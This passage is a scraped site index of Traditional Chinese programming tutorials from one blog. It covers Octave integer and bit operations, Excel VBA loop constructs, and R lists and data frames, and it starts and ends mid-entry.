\u0026quot;int32\u0026quot;、\u0026quot;uint32\u0026quot;、\u0026quot;int64\u0026quot;、\u0026quot;uint64\u0026quot;。\nintmin (type) intmin(type) 會傳回 type 類型整數能夠儲存的最小數值，type 可以指定的類型有：\u0026quot;int8\u0026quot;、 \u0026quot;uint8\u0026quot;、 \u0026quot;int16\u0026quot;、 \u0026quot;uint16\u0026quot;、 \u0026quot;int32\u0026quot;、\u0026quot;uint32\u0026quot;、\u0026quot;int64\u0026quot;、\u0026quot;uint64\u0026quot;。\nintwarning (action) intwarning (s) s = intwarning (...) 控制整數在轉換與運算時的警告訊息設定，可用的參數有：\n\u0026quot;query\u0026quot;：查詢目前的警告訊息的設定，若沒有指定輸出參數，則會直接將輸出顯示在螢幕上，若是有指定輸出參數則會傳回 \u0026quot;identifier\u0026quot; 與 \u0026quot;state\u0026quot; 的資料結構。 \u0026quot;on\u0026quot;：將警告訊息開啟，若是沒有指定輸出參數，則不會有傳回值，若有指定輸出參數則會傳回原本的設定。 \u0026quot;off\u0026quot;：將警告訊息關閉，若是沒有指定輸出參數，則不會有傳回值，若有指定輸出參數則會傳回原本的設定。 例如查詢目前的設定：\nintwarning(\u0026#34;query\u0026#34;) 關閉警告訊息，並將目前的設定儲存為 old_s：\nold_s = intwarning(\u0026#34;off\u0026#34;) 將設定還原：\nintwarning(old_s) 整數運算（Integer Arithmetic） Octave 支援一些基本的整數運算，例如：加（+）、減（-）、乘（.*）、除（./），這些運算可以用於相同類型的整數，也就是說兩個 32 位元的整數可以直接相加，但一個 16 位元與一個 32 位元的整數就無法直接相加。例如：\na = int16(10) b = int32(10) a + b a 是一個 16 位元的整數而 b 是一個 32 位元的整數，若是直接相加就會出現錯誤：\nerror: binary operator `+' not implemented for `int16 scalar' by `int32 scalar' operations 在 Octave 中對於整數的算術運算會先將整數轉換為雙精度浮點數，經過運算之後在轉換回原來的整數類型，而雙精度浮點數只有 53 個位元可以用來表示整數，所以在 Octave 中無法進行 64 位元的整數運算。\n在使用整數運算時，必須注意 underflow 與 overflow 的問題，這個問題會發生在使用的整數類型無法表示計算的結果，例如無號整數無法表示 10 - 20，而 Octave 會確保整數運算的結果是最接近真實值的整數，因此無號整數運算 10 - 20 的結果是 0。\nOctave 在進行整數除法的運算時，會將結果轉為最接近實際值的整數（使用 round），這與一般的程式語言不同（使用 floor），例如：\nint32(5) ./ int32(8) 結果是 1。\nidivide (x, y, op) 使用不同的規則進行整數除法運算，Octave 預設的整數除法運算 a ./ b 會將結果轉為最接近實際值的整數（使用 round），而 idivide() 函數可以使用其他的規則來進行個別元素的整數除法運算，其中 op 參數可以指定要使用的整數除法規則：\n\u0026quot;fix\u0026quot;：將結果朝向 0 的方向轉為最接近的整數。 \u0026quot;round\u0026quot;：將結果轉為最接近實際值的整數。 \u0026quot;floor\u0026quot;：將結果朝向負無限大的方向轉為最接近的整數。 \u0026quot;ceil\u0026quot;：將結果朝向正無限大的方向轉為最接近的整數。 若不指定 op 參數，預設會使用 \u0026quot;fix\u0026quot;。例如：\nidivide (int8 ([-3, 3]), int8 (4), \u0026#34;fix\u0026#34;) 輸出為\nans = 0 0 idivide (int8 ([-3, 3]), int8 (4), \u0026#34;round\u0026#34;) 輸出為\nans = -1 1 idivide (int8 ([-3, 3]), int8 (4), \u0026#34;ceil\u0026#34;) 輸出為\nans = 0 1 idivide (int8 ([-3, 3]), int8 (4), \u0026#34;floor\u0026#34;) 輸出為\nans = -1 0 位元操作（Bit Manipulations） Octave 提供了許多操控位元的函數，最基本的就是取得與設定數值中的指定位元：\nbitset (a, n) bitset (a, n, v) bitset() 會設定 a 中第 n 個位元值為 v，參數 n 為大於 0 的整數；參數 v 為 1 或 0，若是不指定則預設為 1。例如：\na = 10 dec2bin(a) b = bitset(a, 1) dec2bin(b) X = bitget (a, n) bitget(a, n) 傳回 a 中第 n 個位元值，例如：\nbitget(4, 3) 參數 n 亦可以向量或範圍表示法指定：\nbitget(4, 1:4) bitget(4, 4:-1:1) bitget(4, [1, 3]) 在 Octave 中除了 bitcmp() 函數之外，所有的位元操作函數都可以接受純量或陣列，當一個以上的參數是陣列時，這些陣列必須要有相同的大小，而 Octave 會針對陣列中每個元素個別進行位元運算，若只有一個參數是陣列而其餘的參數是純量時，純量的參數會自動重複以配合陣列的元素進行運算，例如：\nbitget(100, 8:-1:1) 第一個參數是純量，第二個參數是 1 乘 8 陣列，因此 Octave 會將第一個參數重複 8 次，就像這樣：\nbitget(100 * ones(1, 8), 8:-1:1) 這兩個寫法是一樣的。\nOctave 的位元運算都是針對整數的位元作運算，即便傳入的數值是浮點數，Octave 也會自動轉為整數，例如：傳入浮點數 10 會被視為整數，因此其各個位元的值為 [1, 0, 1, 0]，而不是表示浮點數的位元值。\n在位元運算中常常會需要查詢可以被浮點數表示的最大的整數，尤其是在建立遮罩（mask）的時候，這時可以使用 bitmax() 函數：\nbitmax () 傳回可以被浮點數表示的最大整數，在 IEEE-754 的系統中是 2^53-1。這個函數可以看成是 intmax() 函數的浮點數版本。\nOctave 也支援 and、or、xor 位元運算：\nbitand (x, y) bitand(x, y) 傳回 x 與 y 的位元 AND 運算，x 與 y 為大於或等於0 且小於或等於 bitmax 的無號整數。\nbitor (x, y) bitor(x, y) 傳回 x 與 y 的位元 OR 運算，x 與 y 為大於或等於0 且小於或等於 bitmax 的無號整數。\nbitxor (x, y) bitxor(x, y) 傳回 x 與 y 的位元 XOR 運算，x 與 y 為大於或等於0 且小於或等於 bitmax 的無號整數。\nbitcmp (a, k) bitcmp(a, k) 傳回 a 的位元 NOT 運算結果，也就是 a 的補數（complement），參數 k 是指定傳回運算結果的位元數，若不指定則預設是 log(bitmax) + 1，例如：\nbitcmp(7, 4) dec2bin(11) dec2bin(bitcmp(11, 6)) bitshift (a, k) bitshift (a, k, n) bitshift(a, k, n) 傳回 a 位元 shift 的結果。參數 k 是指定 shift 的距離，正整數代表向左，負整數代表向右；參數 n 是指定傳回運算結果的位元數，若不指定則預設是 log(bitmax) + 1，例如：\nbitshift (eye (3), 1) bitshift (10, [-2, -1, 0, 1, 2]) 經過位元 shift 運算超出左右兩邊邊界的位元將會遺失。\nOctave 的位元 shift 運算會將負整數的負號保留，例如：\nbitshift (-10, -1) bitshift (int8 (-1), -1) bitshift (int8 (-1), -1) 的運算結果是 -1，原因是在於 int8 類型的 -1 ，其二進位表示為 [1, 1, 1, 1, 1, 1, 1, 1]，經過位元 shift 運算之後，還是維持一樣的值。\n邏輯值（Logical Values） Octave 內建支援邏輯值（true 與 false）與相關的邏輯運算：AND（\u0026amp;）、OR（|）與 NOT（!）。\n除了邏輯運算之外，Octave 亦允許在算術運算式中使用邏輯值，邏輯值在進行算術運算時會自動轉為雙精度浮點數，true 轉會 1，false 轉換為0，因此\ntrue * 22 - false / 6 結果是 22。\n邏輯值亦可以使用在矩陣的索引與巢狀陣列上，當矩陣使用一個邏輯像像當作索引時，會將矩陣中對應邏輯向量為 true 的元素取出，例如：\ndata = [1, 2; 3, 4] idx = (data \u0026lt;= 2) data(idx) 這會將 data 矩陣中小於或等於 2 的元素取出，另外一種比較精簡的寫法：\ndata(data \u0026lt;= 2) 邏輯值的建立可以從數值資料轉換而得到，或是直接使用 true 與 false 函數。\nlogical (arg) logical(arg) 會將 arg 轉換為邏輯值（0 轉換為 false，除了0 以外的值轉換為 true）。例如：\nlogical([-1, 0, 1]) 與\n[-1, 0, 1] != 0 所得到的結果是相同的。\ntrue (x) true (n, m) true (n, m, k, ...) 傳回各種維度的邏輯值陣列，陣列中所有的元素都是 true，例如 3 乘 3 的方陣：\ntrue(3) 3 乘 2 的矩陣：\ntrue(3, 2) 更高維度的陣列：\ntrue(3, 4, 2) false (x) false (n, m) false (n, m, k, ...) 傳回各種維度的邏輯值陣列，陣列中所有的元素都是 false，使用方法與 true() 函數相同。\n數值類型轉換 在 Octave 中有許多運算子可以接受不同的變數類型，而 Octave 預設會將精確度較高的數值類型轉換為較低的數值類型再進行運算，這與一般程式語言中的習慣是不同的，例如：將一個 8 位元的整數與浮點數相加：\na = uint8(1) + 1 這裡的浮點數 1 會被轉型為 8 位元的整數，因此所得到的 a 是一個 8 位元的整數。而單精度浮點數與雙精度浮點數相加：\nb = single(1) + 1 所得到的 b 則是單精度浮點數。\n以下是各種類型的數值運算組合與所得到的結果類型：\n混合運算 結果 double OP single single double OP integer integer double OP char double double OP logical double single OP integer integer single OP char single single OP logical single 這個規則亦可套用至函數的參數，例如：\nmin(single(1), 0) 這會傳回單精度浮點數的數值。\n陣列中的值以索引的方式指定成其他類型的數值時，陣列中的數值類型不會改變，例如：\nx = ones(2, 2) x(1, 1) = single(2) 得到的 x 還是維持 2 乘 2 的雙精度浮點數。\n判斷數值類型 數值在運算時常常會因為遇到不同類型的數值而轉換，而在很多情況下不同的變數類型會產生不同的結果，例如內建的 abs() 函數，當輸入值是實數時，它會傳回數值的絕對值，而當輸入的值是複數時，它會傳回此複數的長度。以下是 abs() 函數的定義：\nfunction a = abs (x) if (isreal (x)) a = sign (x) .* x; elseif (iscomplex (x)) a = sqrt (real(x).^2 + imag(x).^2); endif endfunction Octave 有許多函數可以查詢數值目前的類型：\nisnumeric (x) 判斷 x 是否為數值物件。\nisreal (x) 判斷 x 是否為實數。\nisfloat (x) 判斷 x 是否為浮點數。\niscomplex (x) 判斷 x 是否為複數。\nismatrix (x) 判斷 x 是否為矩陣。\nisvector (x) 判斷 x 是否為向量。\nisscalar (x) 判斷 x 是否為純量。\nissquare (x) 判斷 x 是否為方陣（square matrix），若為方陣則傳回 x 的維度，否則傳回0。\nissymmetric (x, tol) 判斷 x 是否為對稱矩陣（symmetric matrix），若為對稱矩陣則傳回 x 的維度，否則傳回0，tol 參數用來設定容許的誤差值，判定 x 是否為對稱矩陣是依據\nnorm (x - x.’, inf) / norm (x, inf) \u0026lt; tol 來判定的，若省略 tol 參數，則會使用系統的精確度。\nisdefinite (x, tol) 判斷 x 是否為正定對稱矩陣（symmetric positive definite），若為正定對稱矩陣則傳回 1，否則傳回 -1，tol 參數用來設定容許的誤差值，若省略 tol 參數，則會使用 100 倍的系統精確度。\nislogical (x) 判斷 x 是否為邏輯值。\nisprime (x) 判斷 x 是否為質數。\n","permalink":"https://blog.gtwang.org/octave/octave-numeric-data-types/","summary":"\u003cp\u003eOctave 中的數值資料包含純量（scalar）、向量（vector）與矩陣（matrix），其中的值可為實數或複數。\u003c/p\u003e\n\u003ch2 id=\"純量scalars\"\u003e純量（Scalars）\u003c/h2\u003e\n\u003cp\u003e最簡單的數值資料就是常數純量，其表示方法可以是整數、浮點數、分數或是科學記號， 例如：\u003c/p\u003e","title":"Octave 數值資料（Numeric Data Types）"},{"content":"本篇介紹 Excel VBA 的迴圈使用方式，並提供實用的範例程式碼。\n迴圈控制是各種程式語言都會有的基本功能，他的作用是可以讓電腦重複執行某一段類似的動作，在運用得當的情況下，可以幫助使用者快速處理大料的資料，既省時又省力。\n在 Excel VBA 中的迴圈主要可分為 For Loop、For Each 與 Do Loop 這幾種，不同的迴圈適用於不同類型的問題，以下是各種 VBA 迴圈的語法教學。\nFor Loop 迴圈 For Loop 迴圈主要用於已知重複次數的問題，也就是在執行迴圈之前，就已經事先知道要迭代幾次。\nFor 迭代變數 = 開始值 To 結束值\n運算內容\nNext 迭代變數\n在 For Loop 迴圈執行時，迭代變數會從開始值不斷遞增至結束值，每次遞增時都會執行一次運算內容。以下是一個計算從 1 到 10 總和的範例：\nDim i, s As Integer s = 0 For i = 1 To 10 s = s + i Next i MsgBox \u0026#34;s = \u0026#34; \u0026amp; s 以這個例子來說 i 就是迭代變數，在 For Loop 迴圈第一次執行時，i 這個變數會被設定為 1，然後執行 s = s + i，接著讓 i 遞增為 2，再執行一次 s = s + i，以此類推，直到 i 遞增到 10 並執行完該次迭代之後，才會跳出 For Loop 迴圈。整個程式執行完之後，就會把 1 到 10 的總和算出來：\nExit For 中斷迴圈 For Loop 迴圈在正常的狀況下會一直執行，直到迭代變數遞增至結束值為止，如果想要中途跳出迴圈，可以加上 Exit For 來中斷迴圈：\nDim i, s As Integer s = 0 For i = 1 To 10 s = s + i If i \u0026gt;= 4 Then Exit For \u0026#39; 中斷迴圈 End If Next i MsgBox \u0026#34;s = \u0026#34; \u0026amp; s 在這個範例中，我們在 For Loop 迴圈當中加入了一個 If Then 條件判斷式，當 i 大於或等於 4 的時候，就跳出迴圈，所以最後我們會得到從 1 加到 4 的總和：\nFor Each 迴圈 For Each 迴圈是 For Loop 迴圈的另外一種精簡寫法，兩者功能差不多，只是在某些狀況下使用 For Each 迴圈會比較方便。\n一般若要使用 For Loop 迴圈對陣列中的每個元素逐一處理時，必須明確指定開始與結束的索引值，再以索引值取出陣列中的元素做進一步的運算，而 For Each 迴圈則是可以自動將陣列中的元素逐一取出，放進迴圈的迭代變數中處理，這樣的寫法會比 For Loop 更精簡。\nFor Each 迭代變數 In 陣列\n運算內容\nNext 迭代變數\n這是使用 For Each 迴圈找出目前 Excel 中所有工作表的範例程式：\nDim wSheet As Worksheet For Each wSheet In Worksheets MsgBox \u0026#34;找到工作表: \u0026#34; \u0026amp; wSheet.Name Next wSheet 這個 For Each 迴圈會將 Worksheets 中的每一個元素逐一取出，儲存在 wSheet 變數中，並且執行迭代的內容。這個例子會將 Excel 中的每一張工作表取出來，呼叫 MsgBox 輸出每一張工作表的名子，也就是說 Excel 中的工作表有幾張，這個迴圈就會執行幾次。\nDo Loop 迴圈 Do Loop 迴圈可以重複執行某一段程式碼，直到指定的條件判斷式成立或是不成立的時候，才停止迴圈的執行，而這類的迴圈有好幾種不同的型式，使用者可以依照需求選擇適合的寫法。\nDo While Loop 迴圈 Do While Loop 迴圈可以在每一次迭代時，檢查一個指定的條件判斷式，如果成立的話（判斷為 True）就會繼續執行，而如果條件不成立（判斷為 False）的話，就會中止迴圈。\nDo While 條件判斷式\n運算內容\nLoop\n以下是一個使用 Do While Loop 迴圈計算 1 到 10 總和的範例。\nDim i, s As Integer s = 0 i = 1 Do While i \u0026lt;= 10 s = s + i i = i + 1 Loop MsgBox \u0026#34;s = \u0026#34; \u0026amp; s 在這個例子中，一開始先初始化兩個變數，s 變數用於儲存總和值，而 i 則是用於每次迭代的變數，迴圈執行時會先判斷 i 是否小於或等於 10，如果條件成立則執行迴圈的內容，一直重複執行直到 i 大於 10 為止，所以最後得到的 s 就是 1 到 10 的加總數值。\nWhile 的條件判斷式也可以放在迴圈結尾處，這樣的話迴圈在執行時就會先執行第一次的迭代，執行完第一次之後才判斷是否要繼續執行下一次的迭代，如果條件成立則繼續執行，若不成立就立刻中止迴圈，這樣的寫法只是檢查條件判斷式的時機不同，觀念上大同小異。\nDo\n運算內容\nLoop While 條件判斷式\n以下是一個簡單的範例。\nDim i, s As Integer s = 0 i = 1 Do s = s + i i = i + 1 Loop While i \u0026lt;= 10 MsgBox \u0026#34;s = \u0026#34; \u0026amp; s Do Until Loop 迴圈 Do Until Loop 迴圈與 Do While Loop 迴圈在條件的判斷上剛好相反，Do Until Loop 迴圈會在指定條件不成立（判斷為 False）時繼續執行，當判斷條件成立時（判斷為 True）則終止迴圈。\nDo Until 條件判斷式\n運算內容\nLoop\n以下是一個 Do Until Loop 迴圈的範例程式碼。\nDim i, s As Integer s = 0 i = 1 Do Until i \u0026gt; 10 s = s + i i = i + 1 Loop MsgBox \u0026#34;s = \u0026#34; \u0026amp; s Do Until Loop 迴圈也可以將條件判斷式放在迴圈的最後面，這跟上面 Do While Loop 迴圈也很類似。\nDo\n運算內容\nLoop Until 條件判斷式\n以下是一個簡單的範例。\nDim i, s As Integer s = 0 i = 1 Do s = s + i i = i + 1 Loop Until i \u0026gt; 10 MsgBox \u0026#34;s = \u0026#34; \u0026amp; s Exit Do 中斷迴圈 如果要在 Do Loop 迴圈執行到一半時終止迴圈的執行，可以在迴圈中加入 Exit Do，以下是一個範例：\nDim i, s As Integer s = 0 i = 1 Do Until i \u0026gt; 10 s = s + i i = i + 1 If i \u0026gt; 4 Then Exit Do \u0026#39; 中斷迴圈 End If Loop MsgBox \u0026#34;s = \u0026#34; \u0026amp; s 在這個例子中，我們在迴圈之中加入一個 If 判斷式，讓程式在 i 大於 4 的時候就執行 Exit Do 跳出迴圈，所以這個程式最後所得到的結果就是從 1 到 4 的總和。\n應用範例 迭代 Excel 工作表 此範例示範如何結合 For Loop 迴圈與 Cells 函數（Cells 函數的用法請參考活頁簿、工作表與儲存格），自動迭代處理 Excel 工作表內的資料：\nDim i, j As Integer For i = 1 To 3 For j = 1 To 3 MsgBox (\u0026#34;(\u0026#34; \u0026amp; i \u0026amp; \u0026#34;,\u0026#34; \u0026amp; j \u0026amp; \u0026#34;) = \u0026#34; \u0026amp; Cells(i, j)) Next j Next i 參考資料：\nstackoverflow ExcelFunctions.net Excel VBA Programming tutorialspoint Excel Easy ","permalink":"https://blog.gtwang.org/programming/excel-vba-programming-loop/","summary":"\u003cp\u003e本篇介紹 Excel VBA 的迴圈使用方式，並提供實用的範例程式碼。\u003c/p\u003e\n\u003cp\u003e迴圈控制是各種程式語言都會有的基本功能，他的作用是可以讓電腦重複執行某一段類似的動作，在運用得當的情況下，可以幫助使用者快速處理大料的資料，既省時又省力。\u003c/p\u003e","title":"Excel VBA：迴圈控制，For Loop、For Each 與 Do Loop"},{"content":"本篇介紹 R 的列表變數與 data frames 的使用方式。\nR 列表變數 R 的列表（list）變數類似向量，內含多個元素，不過跟向量不同的是列表是一種復合型的變數，其中的每個元素可以是不同的類型，我們可以將各式各樣不同類型的變數儲存在一個列表變數中。\n建立列表變數 列表變數可以使用 list 函數來建立，而其內容的指定方式跟 c 函數類似，但 list 可以允許各種不同類型的資料混合使用，例如向量、矩陣、字元變數等，甚至是函數也可以：\nx.list \u0026lt;- list(1:3, \u0026#34;G.T.Wang\u0026#34;, matrix(3:6, nrow = 2), sin) x.list [[1]] [1] 1 2 3 [[2]] [1] \"G.T.Wang\" [[3]] [,1] [,2] [1,] 3 5 [2,] 4 6 [[4]] function (x) .Primitive(\"sin\") 我們也可以為列表的每個元素命名：\nx.list \u0026lt;- list( seq = 1:3, name = \u0026#34;G.T.Wang\u0026#34;, mat = matrix(3:6, nrow = 2), fun = sin) x.list $seq [1] 1 2 3 $name [1] \"G.T.Wang\" $mat [,1] [,2] [1,] 3 5 [2,] 4 6 $fun function (x) .Primitive(\"sin\") 或是在建立列表之後，再使用 names 函數指定每個元素的名稱：\nnames(x.list) \u0026lt;- c(\u0026#34;seq\u0026#34;, \u0026#34;name\u0026#34;, \u0026#34;mat\u0026#34;, \u0026#34;fun\u0026#34;) 列表變數的元素中也允許納入其他的列表變數，形成巢狀的資料結構：\ny.list \u0026lt;- list( var1 = list( name = \u0026#34;pi\u0026#34;, val = pi), var2 = list( name = \u0026#34;e\u0026#34;, val = exp(1)) ) y.list $var1 $var1$name [1] \"pi\" $var1$val [1] 3.141593 $var2 $var2$name [1] \"e\" $var2$val [1] 2.718282 列表的巢狀結構層數並沒有什麼限制，不管要建立幾層都沒問題。\n如果列表的巢狀結超過數萬層以上，R 可能會產生錯誤訊息，不過這個限制在實際的情況下不太容易發生。\n列表變數的索引 列表變數跟一般的向量一樣可以使用 [] 來存取其中的元素，可使用的索引類型有正整數、負整數、邏輯向量或元素名稱：\nx.list[1:3] $seq [1] 1 2 3 $name [1] \"G.T.Wang\" $mat [,1] [,2] [1,] 3 5 [2,] 4 6 x.list[-4] $seq [1] 1 2 3 $name [1] \"G.T.Wang\" $mat [,1] [,2] [1,] 3 5 [2,] 4 6 x.list[c(TRUE, TRUE, TRUE, FALSE)] $seq [1] 1 2 3 $name [1] \"G.T.Wang\" $mat [,1] [,2] [1,] 3 5 [2,] 4 6 x.list[c(\u0026#34;seq\u0026#34;, \u0026#34;name\u0026#34;, \u0026#34;mat\u0026#34;)] $seq [1] 1 2 3 $name [1] \"G.T.Wang\" $mat [,1] [,2] [1,] 3 5 [2,] 4 6 以上幾種存取方式所得到的結果都會是一個新的列表變數，如若希望取得一個元素並保持原有的型態，可以改用 [[]] 運算子，這個運算子可以使用正整數或元素名稱來提取對應的列表元素：\nx.list[[2]] [1] \"G.T.Wang\" x.list[[\u0026#34;name\u0026#34;]] [1] \"G.T.Wang\" 對於有名稱的列表元素，也可以使用錢字號運算子（$）加上元素名稱來存取：\nx.list$name [1] \"G.T.Wang\" 使用錢字號運算子的方式跟 [[]] 運算子一樣也可以保留元素原本的型態，而且還有其他的優點，例如在 R 中打字的時候，我們可以輸入元素名稱的開頭幾的字母，再按下 Tab 鍵讓 R 自動補齊剩餘的名稱，另外 R 也允許使用名稱開頭的幾個字母來存取元素（前提是輸入的字母要讓 R 足以辨識要指定的元素）：\nx.list$n [1] \"G.T.Wang\" 巢狀的列表結構可以使用多個 [[]] 與 [] 運算子堆疊來存取，常見的方式有以下幾種：\ny.list[[1]][2] $val [1] 3.141593 y.list[[\u0026#34;var1\u0026#34;]][\u0026#34;val\u0026#34;] $val [1] 3.141593 y.list[[1]][[2]] [1] 3.141593 y.list[[\u0026#34;var1\u0026#34;]][[\u0026#34;val\u0026#34;]] [1] 3.141593 y.list[[c(1, 2)]] [1] 3.141593 y.list[[c(\u0026#34;var1\u0026#34;, \u0026#34;val\u0026#34;)]] [1] 3.141593 原子變數與遞迴變數 R 的變數可分為原子變數（atomic variable）與遞迴變數（recursive variable）兩種，向量、矩陣與字元等這類較簡單的變數屬於原子變數，而列表這種複合型的變數則屬於遞迴變數。\n原子變數與遞迴變數的主要差異在於原子變數中的元素都必須是同一種類型，而遞迴變數的元素則允許各類型變數混雜。\n我們可以使用 is.atomic 與 is.recursive 來檢查變數是屬於哪一種：\nis.atomic(list()) [1] FALSE is.recursive(list()) [1] TRUE 列表的維度與運算 列表變數的長度（元素個數）可以使用 length 函數取得：\nx.list \u0026lt;- list(1:3, \u0026#34;G.T.Wang\u0026#34;, matrix(3:6, nrow = 2), sin) length(x.list) [1] 4 length 函數在計算巢狀結構的列表長度時，只會傳回第一層的長度：\ny.list \u0026lt;- list( var1 = list( name = \u0026#34;pi\u0026#34;, val = pi), var2 = list( name = \u0026#34;e\u0026#34;, val = exp(1)) ) length(y.list) [1] 2 列表只有長度的屬性，沒有維度的屬性：\ndim(x.list) NULL nrow、ncol、NROW 與 NCOL 這幾個函數若作用在列表變數上，其效果跟一般向量一樣：\nnrow(x.list) NULL ncol(x.list) NULL NROW(x.list) [1] 4 NCOL(x.list) [1] 1 由於列表的元素是由各種不同類型的變數所組成，所以列表變數之間不能直接互相進行運算，我們只能將列表的元素取出後，再單獨進行運算：\nz.list \u0026lt;- list(c(1:3), c(2:4)) z.list[[1]] + z.list[[2]] [1] 3 5 7 向量與列表的轉換 若要將向量變數轉換為列表變數，可以使用 as.list 函數：\nx.vector \u0026lt;- c(3, 6, 8) as.list(x.vector) [[1]] [1] 3 [[2]] [1] 6 [[3]] [1] 8 如果一個列表中每個元素都是很單純數值或字元等變數，就可以使用 as.numeric 或 as.character 這類的函數將其直接轉換為一般的向量：\nas.numeric(list(3, 6, 8)) [1] 3 6 8 如果列表中的元素不是單純的純量變數，就要改用 unlist 函數：\ny.list \u0026lt;- list( foo = 2, bar = c(3, 6, 9) ) unlist(y.list) foo bar1 bar2 bar3 2 3 6 9 合併列表 若要將多個列表變數合併成一個，可以使用 c 函數：\nc(list(a = 1, b = 2), list(c = 3), list(4)) $a [1] 1 $b [1] 2 $c [1] 3 [[4]] [1] 4 如果使用 c 函數合併列表與向量變數，則所有的向量變數會先自動被轉換成列表之後，才跟其餘的列表合併：\nc(list(a = 1, b = 2), 3, 4) $a [1] 1 $b [1] 2 [[3]] [1] 3 [[4]] [1] 4 NULL 空值 NULL 是用來表示空值的一個特殊值，在列表變數中比較常出現，而 data frames 與函數中也會用到（這些我們在後面的內容會再說明）。\n有時候在建立列表變數時，我們會需要預先指定列表變數中應該包含哪一些元素名稱，但是在建立變數時並不知道元素的內容，這時候就可以將未知的元素設定為 NULL，例如：\nx.list \u0026lt;- list( foo = \u0026#34;G. T. Wang\u0026#34;, bar = NULL, foo.bar = NULL ) NULL 與 NA 有點相似，但兩個是不同的，最大的差異是 NA 是一個純量值，而 NULL 則不佔任何空間：\nlength(NULL) [1] 0 length(NA) [1] 1 要檢查一個變數值是否為 NULL 可以使用 is.null 函數：\nis.null(NULL) [1] TRUE is.null(NA) [1] FALSE 如果使用 is.na 來測試 NULL 是沒有意義的，因為 NULL 的長度為 0，沒有東西可以拿來檢查是否為 NA。\nis.na(NULL) Warning message: In is.na(NULL) : is.na() 套用到非串列或向量類型 'NULL' 將列表的元素指定為 NULL 的話，可以將該元素從列表變數中移除（縱使該元素原本就是 NULL 也一樣）：\nx.list \u0026lt;- list( foo = \u0026#34;G. T. Wang\u0026#34;, bar = NULL, foo.bar = NULL ) x.list $foo [1] \"G. T. Wang\" $bar NULL $foo.bar NULL x.list$foo.bar \u0026lt;- NULL x.list $foo [1] \"G. T. Wang\" $bar NULL 如果要將列表的某個元素值設定為 NULL，而不是將其移除，可以使用 list(NULL)：\nx.list[\u0026#34;foo\u0026#34;] \u0026lt;- list(NULL) x.list $foo NULL $bar NULL Pairlists 在 R 中還有另外一種類似列表變數的 pairlist，它主要用於 R 函數參數的傳遞，一般的使用者不會直接使用到 pairlist，唯一比較有可能用到的情況是使用 formals 函數的時候，這個函數會傳回指定函數的參數：\nsd.args \u0026lt;- formals(sd) sd.args $x $na.rm [1] FALSE class(sd.args) [1] \"pairlist\" pairlist 變數在使用上跟列表變數幾乎相同，唯一的差別只在於空的 pairlist 會傳回 NULL，而空的列表就是一個單純空的列表：\npairlist() NULL list() list() Data Frames R 的 data frame 是一個用來儲存類似 Excel 表格的變數類型，它跟矩陣類似，不過 data frame 的每個行（column）可以儲存不同變數類型的資料，甚至非狀巢結構的列表亦可。\n建立 Data Frames 我們可以使用 data.frame 函數來建立 data frame 變數：\nx.data.frame \u0026lt;- data.frame( x = letters[1:6], y = rnorm(6), z = runif(6) \u0026gt; 0.5 ) x.data.frame x y z 1 a -2.055503994 TRUE 2 b 0.114532213 FALSE 3 c -0.622876848 TRUE 4 d -1.207309249 TRUE 5 e -0.004488973 FALSE 6 f -0.549760562 FALSE class(x.data.frame) [1] \"data.frame\" 雖然一個 data frame 中每行（column）的資料類型可以是不同的，但是在同一行裡面的資料一定要是相同的資料類型。\n上面產生的這個 data frame 中，並沒有明確指定每一列的名稱，這時候 R 會自動將每一列從 1 開始編號，作為預設的名稱。\n在建立 data frame 時，如果任何一個向量有被指定每個元素的名稱時，R 會依據第一個這樣具有名稱的向量，為 data frame 的列命名。\ny \u0026lt;- rnorm(5) names(y) \u0026lt;- month.name[1:5] data.frame( x = letters[1:5], y = y, z = runif(5) \u0026gt; 0.5 ) x y z January a 1.0538679 TRUE February b -0.6289093 TRUE March c -0.2401373 TRUE April d -1.3266327 FALSE May e -1.1100246 FALSE 如果不想要讓 R 自動依照向量的元素名稱來指定 data frame 列名稱，可以將 row.names 指定為 NULL：\ndata.frame( x = letters[1:5], y = y, z = runif(5) \u0026gt; 0.5, row.names = NULL ) x y z 1 a 1.0538679 FALSE 2 b -0.6289093 TRUE 3 c -0.2401373 TRUE 4 d -1.3266327 FALSE 5 e -1.1100246 FALSE 我們也可以利用 row.names 參數明確指定 data frame 的列名稱：\ndata.frame( x = letters[1:5], y = y, z = runif(5) \u0026gt; 0.5, row.names = c(\u0026#34;Taipei\u0026#34;, \u0026#34;Hsinchu\u0026#34;, \u0026#34;Taichung\u0026#34;, \u0026#34;Tainan\u0026#34;, \u0026#34;Kaohsiung\u0026#34;) ) x y z Taipei a 1.0538679 TRUE Hsinchu b -0.6289093 FALSE Taichung c -0.2401373 FALSE Tainan d -1.3266327 FALSE Kaohsiung e -1.1100246 TRUE 列名稱也可以在 data frame 建立之後，再使用 rownames 函數來指定或是取得，另外其行（column）名稱則可使用 colnames 函數，或是使用 dimnames 一次存取所有的行與列的名稱。\nrownames(x.data.frame) [1] \"1\" \"2\" \"3\" \"4\" \"5\" \"6\" colnames(x.data.frame) [1] \"x\" \"y\" \"z\" dimnames(x.data.frame) [[1]] [1] \"1\" \"2\" \"3\" \"4\" \"5\" \"6\" [[2]] [1] \"x\" \"y\" \"z\" 大部分適用於矩陣的函數，都可以直接套用至 data frame 上使用：\nnrow(x.data.frame) [1] 6 ncol(x.data.frame) [1] 3 dim(x.data.frame) [1] 6 3 若使用 length 函數檢查 data frame 的話，會傳回跟 ncol 函數一樣的值，不是所有 data frame 的元素個數，而 names 作用在 data frame 上則跟 colnames 一樣。\nlength(x.data.frame) [1] 3 names(x.data.frame) [1] \"x\" \"y\" \"z\" 在建立 data frame 時可以允許使用不同長度的向量，R 會自動將較短的向量重複使用：\ndata.frame( x = c(\u0026#34;One\u0026#34;, \u0026#34;Two\u0026#34;), y = 1:3, z = rnorm(6) ) x y z 1 One 1 -0.6910683 2 Two 2 0.7902759 3 One 3 -1.8949503 4 Two 1 0.4802724 5 One 2 0.8673821 6 Two 3 -0.8795439 如果有些較短的向量其長度不是最長向量長度的整數倍，就會產生錯誤：\ndata.frame( x = c(\u0026#34;One\u0026#34;, \u0026#34;Two\u0026#34;), y = 1:3, z = rnorm(5) ) Error in data.frame(x = c(\"One\", \"Two\"), y = 1:3, z = rnorm(5)) : arguments imply differing number of rows: 2, 3, 5 Data Frame 索引 data frame 的索引使用方式有許多種，向量和矩陣所使用的四種索引（正整數、負整數、邏輯與字元向量）都可以直接用於 data frame：\nx.data.frame \u0026lt;- data.frame( x = letters[1:6], y = rnorm(6), z = runif(6) \u0026gt; 0.5 ) x.data.frame[2:4, 2] [1] -0.2310849 1.0684388 0.9391086 x.data.frame[2:4, -2] x z 2 b TRUE 3 c TRUE 4 d FALSE 